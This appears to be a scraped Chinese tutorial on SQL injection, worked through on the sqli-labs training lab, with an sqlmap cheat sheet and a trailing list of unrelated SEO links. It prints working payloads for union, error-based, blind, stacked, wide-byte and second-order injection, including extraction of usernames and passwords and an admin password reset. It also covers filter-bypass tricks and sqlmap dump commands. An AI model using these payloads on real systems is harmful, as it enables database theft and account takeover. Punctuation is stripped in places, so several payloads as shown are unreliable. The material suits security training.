当前位置: 首页 > news >正文

商业网站建设任丘市网站建设价格

商业网站建设,任丘市网站建设价格,聊城wap网站建设,网站字号【Web安全】SQL各类注入与绕过 【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection 【Web安全靶场】sqli-labs-master 21-37 Advanced-Injection 【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections 【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二…【Web安全】SQL各类注入与绕过 【Web安全靶场】sqli-labs-master 1-20 BASIC-Injection 【Web安全靶场】sqli-labs-master 21-37 Advanced-Injection 【Web安全靶场】sqli-labs-master 38-53 Stacked-Injections 【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索 这一篇博客我会对待我的笔记和教程一样写也就是会细也会不细。 文章目录 【Web安全】SQL各类注入与绕过1. 什么是SQL2. SQL注入简介3. 判断闭合4. 判断数字型还是字符型4. 联合查询注入5. 报错注入6. 堆叠注入7. 布尔盲注与时间盲注8. 以上内容常用函数9. HTTP头部注入10. 二次注入11. 宽字节注入12. 双查询注入报错注入一种13. SQL注入过滤与绕过13.1. 双写绕过、大小写绕过13.2. 内联注释绕过13.3. 逻辑符号绕过13.4. 绕过空格过滤13.5. 引号添加反斜杠过滤绕过13.6. 大于小于号过滤绕过13.7. 等号过滤绕过13.8. 逗号过滤绕过13.9. 关键函数 14. SQLmap1. 目标2. 脱库2.1. 脱库补充 3. 其他3.1. 其他补充 4. 绕过脚本tamper 1. 什么是SQL SQL结构化查询语言用于管理关系型数据库管理系统SQL的范围包括数据插入、查询、更新和删除数据库模式创建和修改以及数据访问控制。所谓关系型数据库就像一张表一个数据库中有很多的表每一张表可以存储不同的内容。在一张表中有列名也就是每一列的属性名称如姓名、地址等我们选取数据时只需要知道数据库名、表名、列名以及条件即可选取想要的数据。在开始SQL注入之前需要简单了解一下SQL的基本语法可见菜鸟教程及其他博客这里就不占用篇幅了。 菜鸟教程-SQL怎么学习呢其实只要理解如何简单地选择插入修改和删除等以及常用的关键字ORDER BY、AND、OR、UNION、WHERE等、注释方式limitsubstr函数。 2. SQL注入简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序。在应用程序中如果没有恰当的过滤则可能使得恶意的输入导致服务器代码查询语句被恶意拼接进一步使得数据库信息泄露。 先来举出SQL注入类型吧常见的SQL注入类型有联合注入、报错注入、堆叠注入、时间盲注、布尔盲注、二次注入、宽字节注入、XFF注入等。 3. 判断闭合 例如有下面几段SQL语句 select * from security where x$id; select * from security where x($id); select * from security where x$id; select * from security where x($id); select * from security where x(($id)); select * from security where x$id; select * from security where x($id); select * from security where x(($id));这几条是不同闭合方式的SQL语句第一条是数字型注入剩下的是字符型注入它们都有不同的闭合方式——单引号闭合、单引号括号闭合等。$id是我们输入的值我们输入id1的话第一条语句就为select * from security where x1;假如输入id1“多了个单引号以第一条和第六条为例那么第一条语句就会报错第六条也会报错因为多了个双引号如果我们输入id1 – #呢第一条还是会报错但是第六条不会报错因为我们最后的SQL语句是select * from security where x“1” – #;后面的一个双引号被注释掉了这就是构造闭合。 4. 判断数字型还是字符型 ?id2-1 -- 确定2和1的内容如果通过减号显示1的内容那就是数字型输入。有时候这一杠会被过滤就换一种方法 ?id1 --出现报错信息根据报错信息可以判断原来有没有引号?id1 and 11 ?id2 and 11 判断有没有括号因为有括号的话整体是1 剩下就是一些加单引号、双引号、括号、大括号百分号的过程了大括号和百分号比较少见。刷sql-labs-master靶场习惯了就容易判断了。 闭合完成之后可以干嘛当然是构造payload例如先不管它是做什么的 select * from database where id‘1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --’ 其中我们输入的内容是1’ and updatexml(1,concat(‘~’,substr((select group_concat(username,0x3a,password) from users),1,100)),3) -- 总之url后面是字符那么可能就是字符型注入url后面是数字可能是字符型也可能是数字型这需要测试。 4. 联合查询注入 联合查询的原理是利用了数据库的联合操作将两个或多个查询的结果合并到一个结果集中。当注入成功时原始查询和额外的查询的结果会合并在一起返回给应用程序进而显示在页面上。 判断完闭合之后就是构造payload了具体步骤就是获取表名、列名和数据而这一节讲的联合查询的具体步骤就是 判断有多少列使用order by这个关键字的作用是根据某一列进行排序假设只有三列你想要根据第四列排序但是没有第四列呀这就会报错或者说是不显示数据。 ?id1 order by 3 -- #判断回显位union select回显位是啥查询操作将两个或多个查询的结果合并到一个结果集中。当注入成功时原始查询和额外的查询的结果会合并在一起返回给应用程序进而显示在页面上。当然要是的前者返回为空才会显示第二个查询的数据。之后页面会显示会显示是哪一个进而在那一个数进行操作即可。 ?id-1 union select 1,2,3 -- #获取表名为什么不先获取数据名呢因为可以使用database()函数代替 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- #group_concat()函数是将里面的多个行整合为一行即一个字符串information_schema见这里简单看一下column_name、table_name、table_schema对选取条件有帮助的就行。 获取列名 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_nameusers-- #获取数据 ?id-1 union select 1,group_concat(username,0x3a,password),3 from users -- #5. 报错注入 报错注入的定义就是利用了数据库的某一些机制人为制造错误的条件并且将查询结果附在报错信息之中前提是有报错信息查询php代码可知通常是print_r(mysql_error())。常见的报错函数有floor、updatexml、extractvalue等。 updatexml语法三个参数第一个string格式为XML对象的名称内容第二个是Xpath格式xpath差不多就是一个位置第三个参数为更新的内容如果第二个参数不是xpath格式则会报错。 extractvalue语法两个参数第一个是string格式为xml文档对象的名称第二个是xpath格式报错原理也一样。 来看sqli-labs-master第一关确定好闭合方式之后 获取表名 ?id1 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) --获取列名 ?id1 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())),3) --获取数据 ?id1 and updatexml(1,concat(~,substr((select group_concat(username,0x3a,password) from users),1,100)),3) --其中concat()函数为连接函数连接波浪号和查询信息波浪号常常使用0x7e代替substr为截取函数因为报错信息最多32位或者使用limit分页函数。 6. 堆叠注入 堆叠注入的原理是利用了SQL查询语句中分号;的特性以及数据库执行多条SQL语句的能力。攻击者可以在注入点插入一个分号然后在分号后面添加额外的SQL语句使得数据库在执行查询时会依次执行多条SQL语句。 以下是一个堆叠注入的简单例子假设有一个登录页面用户可以输入用户名和密码登录 SELECT * FROM users WHERE username$username AND password$password攻击者可以尝试在用户名和密码字段中进行注入假设用户名字段存在注入漏洞。攻击者可以输入以下内容作为用户名 OR 11; INSERT INTO log (event) VALUES (Successful login);这个输入将会导致以下SQL语句被执行 SELECT * FROM users WHERE username OR 11; INSERT INTO log (event) VALUES (Successful login) AND password$password这里的分号后面的部分是一个额外的SQL语句它会被数据库执行插入一条日志记录表示成功登录同时也可以修改别人的密码等操作反正啥都行。 7. 布尔盲注与时间盲注 布尔盲注是一种利用布尔逻辑即真和假来推断数据库中数据的SQL注入技术。它通常用于无法直接获取数据的情况下但可以通过不同的查询结果来推断出数据的存在与否以及数据的属性。布尔盲注通过在SQL查询中插入条件语句来测试特定条件的真假从而逐步推断出数据库中的信息。在进行练习时候如果一个界面只有成功显示不成功显示、登录成功失败没有报错没有回显时考虑并且使用时候搭配burpsuite的intruder模块根据返回内容长度判断。 攻击者通过注入点插入条件语句例如?id1’) and if(substr(database(),1,1)‘c’,1,0) – # 根据返回结果真或假攻击者可以推断出密码的第一个字符是否为 ‘c’。如果返回真表示密码的第一个字符是 ‘c’如果返回假表示密码的第一个字符不是 ‘c’。 通过不断更改条件语句中的参数并观察返回结果攻击者可以逐个字符地推断出密码的值。 爆表名 ?id1 and substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1)e --时间盲注是一种根据访问时间来推断数据库中数据的注入技术它通常用于无法直接获取数据的情况下并且无论参数对还是错界面都是一样的页面。比如说sqli-labs-master第九关无论参数是否正确都显示You are in…所以使用时间盲注。 常用的函数就是if()第一个参数就是表达式第二个第三个参数就是要执行的语句如果表达式正确如下就会执行sleep(2)而sleep()是延时函数单位是秒。 ?id1 and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(2),1) --8. 以上内容常用函数 substr(str,start,length)截取函数 第一个参数str为被截取的字符串第二个参数start为开始截取的位置第三个参数length为截取的长度。left(str,length)截取函数从左到右 第一个参数str为被截取的字符串。 第二个参数length为截取的长度。right(str,legnth)截取函数从右到左 第一个参数str为被截取的字符串。 第二个参数length为截取的长度。ascii(char)转化为十进制的ascii码length(str)返回长度ord(char)ascii转换函数if(condture_resultFalse_result)比较函数 第一个表达式正确返回第二个错误则返回第三个9. HTTP头部注入 请求头含义和作用示例Accept告知服务器客户端能够接受的响应内容类型。Accept: text/html, application/jsonAccept-Language告知服务器客户端可接受的语言类型。Accept-Language: en-US, zh-CN;q0.9Accept-Encoding告知服务器客户端可接受的内容编码方式用于数据压缩传输。Accept-Encoding: gzip, deflateHost指定请求的目标服务器的域名或IP地址和端口号。Host: www.example.com:8080Cookie在HTTP请求中携带存储在客户端的Cookie信息用于会话状态保持。例如输入用户名和密码登录一个网站后每次刷新和请求该站点其他页面都会保持登录状态这就是Cookie的功劳。Cookie: session_id123456; user_id987654Referer表示当前请求的来源页面的URL用于跟踪和统计。Referer: https://www.example.com/page1User-Agent标识客户端应用程序或浏览器的信息帮助服务器优化响应。User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Content-Type指定请求体中的数据类型用于POST请求等需要传递数据的请求。Content-Type的设置对于数据的正确解析和处理非常重要。例如如果服务器期望接收JSON数据而客户端却发送了普通文本数据服务器可能无法正确解析数据。Content-Type: application/json; charsetutf-8 大部分请求头都有可能存在注入因为后端代码也会根据请求头查询数据。样例见sqli-labs-master第18、19、20、21、22。 10. 二次注入 二次注入也称为存储型注入就是将可能触发sql注入的字符存在数据库中当再次调用这个恶意构造的字符就可以触发二次注入。 这里以sqli-labs-master第24关为例子。 代码一实现了简单的用户注册功能程序获取到GET参数username和参数password然后将username和password拼接到SQL语句使用insert语句插入数据库中。由于参数username使用addslashes进行转义转义了单引号导致单引号无法闭合参数password进行了MD5哈希所以此处不存在SQL注入漏洞。正常插入test’之后数据库就有了test’这个用户。 当访问usernametest’password123456时执行的SQL语句为 insert into users\username\,\password\values test\,e10adc3949ba59abbe56e057f20f883e。?php $conmysqli_connect(localhost, root, root, sql);if (mysqli_connect_errno()) {echo 数据库连接错误: . mysqli_connect_error(); } $username $_GET[username]; $password $_GET[password]; $result mysqli_query($con, insert into users(username, password) values (.addslashes($username).,.md5($password).)); echo 新 id 为: . mysqli_insert_id($con); ?代码二在二次注入中第二段中的代码如下所示首先将GET参数ID转成int类型防止拼接到SQL语句时存在SQL注入漏洞然后到users表中获取ID对应的username接着到person表中查询username对应的数据。但是此处没有对$username进行转义在第一步中我们注册的用户名是test’此时执行的SQL语句为 select * from person where usernametest单引号被带入SQL语句中由于多了一个单引号所以页面会报错。 回到24题发现有很多代码。 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数这个函数会对单引号、双引号、反斜杠\、NULL 字符等加添反斜杠来进行转义所以在登录界面框无法直接下手。 $username mysql_real_escape_string($_POST[login_user]); $password mysql_real_escape_string($_POST[login_password]);接着分析创建新用户的代码在new_user.php中有form表单提交到login_create.php中所以重点还是login_create.php发现还是存在转义 $username mysql_escape_string($_POST[username]) ; $pass mysql_escape_string($_POST[password]); $re_pass mysql_escape_string($_POST[re_password]);$sql insert into users ( username, password) values(\$username\, \$pass\);那就登录进去看一下登录进去是一个修改密码的框其中不需要填写账号密码看一下代码 $username $_SESSION[username]; $curr_pass mysql_real_escape_string($_POST[current_password]); $pass mysql_real_escape_string($_POST[password]); $re_pass mysql_real_escape_string($_POST[re_password]);$sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ;可以发现漏洞存在于此处这一道题不是获取数据库而是获取admin的密码所以我们可以构造一个admin’#的账号虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠注册账号admin’#密码随便于是就可以登录进去然后再修改密码其中的sql语句为 $sql UPDATE users SET PASSWORD你想要的密码 where usernameadmin# and password$curr_pass ;于是修改admin账号不需要原始密码。 11. 宽字节注入 宽字节注入指的是mysql数据库在使用GBK编码时一般账号啥的能输入或显示中文的就是了会认为两个字符是一个汉字而且当我们输入单引号时mysql会调用转义函数将单引号变为’其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节也就是運’从而使单引号闭合(逃逸)进行注入攻击 这里以sqli-labs-master第三十二关为例 function check_addslashes($string) {$string preg_replace(/. preg_quote(\\) ./, \\\\\\, $string); //escape any backslash$string preg_replace(/\/i, \\\, $string); //escape single quote with a backslash$string preg_replace(/\/, \\\, $string); //escape double quote with a backslashreturn $string; }function strToHex($string) {$hex;for ($i0; $i strlen($string); $i){$hex . dechex(ord($string[$i]));}return $hex; } echo Hint: The Query String you input is escaped as : .$id .br; echo The Query String you input in Hex becomes : .strToHex($id). br;对于第一段代码单引号、双引号和反斜杠都加上了一个反斜杠我们试一下输入中文 输入中文发现回显的是中文为gbk编码所以我们可以使用宽字节注入原理就是%df和反斜杠可以组成一个中文字符 ?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) -- #12. 双查询注入报错注入一种 首先这适合其他报错函数都过滤了但有报错信息而且没有回显位的比较少见所以这里给出链接。 [【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。 这里以sqli-labs-master第五关为例子。 首先这对于初学来说这个报错注入会比较难理解我们先判断闭合方式 ?id1 and 11 ?id1 and 12通过上述语句可以知道这是单引号闭合接下来判断注入类型这里先试一下Union注入 ?id1 order by 3 -- ?id1 order by 4 --通过上述语句可以得到字段数为3接下来判断回显位 ?id1 and 12 union select 1,2,3--通过这一段payload发现并没有回显位所以Union注入不可行所以回到报错注入。 ?id1 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3)--通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’之后过程省略。但是这一关的考点为报错注入中的双查询注入我们假设updatexml()被过滤了我们要使用双查询注入关于双查询注入的文章[【Double SQL Injection(双查询注入) | Mochazz’s blog】](https://mochazz.github.io/2017/09/23/Double_ SQL_Injection/)。 ?id1 union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’接着获取users的字段名 ?id1 union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password ?id1 union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --13. SQL注入过滤与绕过 13.1. 双写绕过、大小写绕过 对于sqli-Less25关有对于and和or大小写不敏感的过滤这里的i表示大小写不敏感 $id preg_replace(/or/i,, $id); //strip out OR (non case sensitive) $id preg_replace(/AND/i,, $id); //Strip out AND (non case sensitive)我们可以使用双写绕过对于其他select过滤等也可试一试 oorr anandd selSElectectSElect13.2. 内联注释绕过 SEL/**/ECT。在SELECT中间加入内联注释可能绕过对SELECT关键词的检查注意是可能像sqli 26关就有对内联注释的过滤 13.3. 逻辑符号绕过 对于and、or、xor、not的黑名单绕过可以使用逻辑符号最好使用|| or || and xor | 或者 ^ not !注有些题使用不行使用||却可以不知道为啥。 13.4. 绕过空格过滤 /**/() 例如?id1 || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schemadatabase()))) ,1) || 11//下面编码貌似在windows phpstudy环境下无效 %09 TAB 键水平 %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键垂直 %a0 空(tap键上面的按钮) 加号两个空格注1’%0aanandd%0a’1’2 不可以验证%0a有用这里有没有都可以。 13.5. 引号添加反斜杠过滤绕过 %df宽字节注入CHAR()函数例如table_schemaCHAR(115, 101, 99, 117, 114, 105, 116, 121) 最常用转化成Hex编码table_schema0x7365637572697479 security注意不用转引号常见的php过滤函数mysql_real_escape_string、addslashes() 13.6. 大于小于号过滤绕过 大于小于号常见在盲注可以使用between左闭右开in关键字greatest函数和least函数返回最值 where id1 and greatest(ascii(substr(database(),1,1)),1)99; where id1 and substr(database(),1,1) in (c); where id1 and substr(database(),1,1) between a and d;13.7. 等号过滤绕过 如果等号被过滤可以使用: 0 and 2 等价于 1 等价于! like 正则匹配13.8. 逗号过滤绕过 我们可能会使用substr()substring()mid()等函数里面会有逗号 对于substr()和mid()这两个方法可以使用from for 的方式来解决 select substr(database() from 1 for 1)c;join关键字 union select 1,2,3,4; union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D); union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(), ,database(), ,datadir))D);13.9. 关键函数 sleep() --benchmark() 指定次数表达式造成延迟 使用 HEX(A) 或 BIN(A) 替代 ASCII(A)。 SELECT group_concat(str1,str2);-SELECT concat_ws(,, str1, str2); 使用SELECT user; 替代SELECT user(); ord()-ascii() SELECT IF(substr(database(),1,1)c,1,0);-SELECT IFNULL(substr(database(),1,1)c,0); 或 SELECT CASE substr(database(),1,1)c WHEN 1 THEN 1 ELSE 0 END;14. SQLmap 1. 目标 操作作用必要示例-u指定URL检测注入点sqlmap -u http://example.com/?id1-m指定txt里面有很多个URLsqlmap -m urls.txt-r检测POST请求的注入点使用BP等工具抓包将http请求内容保存到txt文件中接着-p指定参数sqlmap -r request.txt–cookie指定cookie的值单/双引号包裹sqlmap -u http://example.com?idx --cookie session_id1234-D指定数据库sqlmap -u http://example.com/?id1 -D mydatabase-T指定表sqlmap -u http://example.com/?id1 -D mydatabase -T mytable-C指定字段sqlmap -u http://example.com/?id1 -D mydatabase -T mytable -C mycolumn 2. 脱库 操作作用必要示例-b获取数据库版本sqlmap -u url -b–current-db当前数据库sqlmap -u url --current-db–dbs获取数据库sqlmap -u url --dbs–tables获取表sqlmap -u url --tables -D database–columns获取字段sqlmap -u url --columns -D database -T table–schema字段类型sqlmap -u url --schema -D database–dump获取数据sqlmap -u url --dump -D database -T table–start开始的行sqlmap -u url --start1 -D database -T table–stop结束的行sqlmap -u url --stop10 -D database -T table–search搜索库表字段sqlmap -u url --search -C column–tamperWAF绕过sqlmap -u url --tampertamper_script 2.1. 脱库补充 –current-db获取的是当前的数据库名称而–dbs获取的是所有的数据库名称WAF 指的是“Web Application Firewall”即网络应用防火墙例如sqlmap -u ‘http://xx/?id1’ --tamper ‘space2comment.py’sqlmap有很多内置的绕过脚本(脚本按照用途命名)在/usr/share/sqlmap/tamper/目录下–search如果你正在寻找包含特定关键字的列这个命令将列出所有包含该关键字的列的名称及其所属的表和数据库。 3. 其他 操作作用必要示例–batch不再询问确认sqlmap -u http://example.com/?id1 --batch–methodGET指定请求方式sqlmap -u http://example.com/?id1 --methodGET–random-agent随机UAsqlmap -u http://example.com/?id1 --random-agent–user-agent自定义UAsqlmap -u http://example.com/?id1 --user-agent MyUserAgent–referer自定义referersqlmap -u http://example.com/?id1 --referer http://referer.com–proxy“123”代理sqlmap -u http://example.com/?id1 --proxyhttp://123.123.123.123:8080–threads 10线程数1~10sqlmap -u http://example.com/?id1 --threads 10–level1测试等级1~5sqlmap -u http://example.com/?id1 --level1–risk1风险等级0~3sqlmap -u http://example.com/?id1 --risk1 3.1. 其他补充 测试等级这个等级决定了 SQLMap 将尝试的测试数量和类型。较高的等级意味着 SQLMap 将执行更多类型的测试这些测试可能更复杂有时也更具侵入性。例如在较低的等级上SQLMap 可能只测试最常见的注入类型而在较高等级上它会尝试更多不常见的或复杂的注入技术。风险等级风险等级影响测试的侵入性。较高的风险等级可能会运行更具侵入性的测试这些测试可能会对数据库造成更大的负担或风险。例如一些高风险测试可能包括执行实际的数据库操作如更新或删除数据而低风险测试则尽量避免这种潜在的破坏性操作。 操作作用必要示例-a自动识别和测试所有参数sqlmap -u http://example.com/?id1 -a–current-user获取当前数据库用户sqlmap -u http://example.com/?id1 --current-user–is-dbs是不是数据库管理员sqlmap -u http://example.com/?id1 --is-dbs–users枚举数据库服务器上的用户sqlmap -u http://example.com/?id1 --users–privileges枚举数据库用户的权限sqlmap -u http://example.com/?id1 --privileges–passwords尝试获取数据库用户的密码sqlmap -u http://example.com/?id1 --passwords–hostname获取数据库服务器的主机名sqlmap -u http://example.com/?id1 --hostname–statements捕获并显示SQL语句sqlmap -u http://example.com/?id1 --statements 4. 绕过脚本tamper sqlmap在默认情况下除了使用CHAR()函数防止出现单引号没有对注入的数据进行修改我们还可以使用–tamper参数对数据进行修改来绕过WAF等设备这里就不放置脚本名字了直接上网搜就行了sqlmap内置53个脚本。 sqlmap XXXXX --tamper 模块名
http://www.zqtcl.cn/news/480759/

相关文章:

  • 如何用图片文字做网站建设部网站安全事故
  • 订制网站网易企业邮箱怎么修改密码
  • 一小时做网站网上免费设计效果图
  • 网站如何注册域名公司主页填什么
  • 南宁国贸网站建设网站跟网页有什么区别
  • 兰州企业 网站建设短链接在线转换
  • 长沙网上商城网站建设方案导航网站系统
  • 网站更换目录名如何做301跳转网站活泼
  • 化妆品网站网页设计怎样在淘宝网做网站
  • 邢台建站湛江海田网站建设招聘
  • 免费个人网站建站能上传视频吗中国舆情在线网
  • 网站开发项目的心得体会惠州建设厅网站
  • 网站小程序怎么做北京单位网站建设培训
  • 北京市专业网站建设广州安全教育平台登录账号登录入口
  • 广州做网站的价格三个关键词介绍自己
  • 基于工作过程的商务网站建设:网页制作扬州网站建设公元国际
  • wordpress著名网站微信公众号怎么做网站链接
  • 长沙网站建设大概多少钱深圳做网站网络营销公司
  • 融资平台排行榜企业网站seo运营
  • 英文手表网站南昌装修网站建设
  • 网站建设要懂哪些技术甘肃园区网络搭建
  • go做的网站微信跳转链接生成器免费
  • 网站开发中怎么设置快捷键怎样打开用sql做的网站
  • 做餐饮企业网站的费用短视频素材免费下载网站
  • 美食优秀设计网站制作网页网站
  • 提供网站建设教学视频做淘宝美工需要知道的网站
  • 百度云可以做网站吗织梦网站下载
  • 有没有一起做游戏棋牌网站的用wordpress做商城
  • 有没有如何做网站的书常州网站推广公司哪家好
  • 金融直播间网站开发专业定制网页设计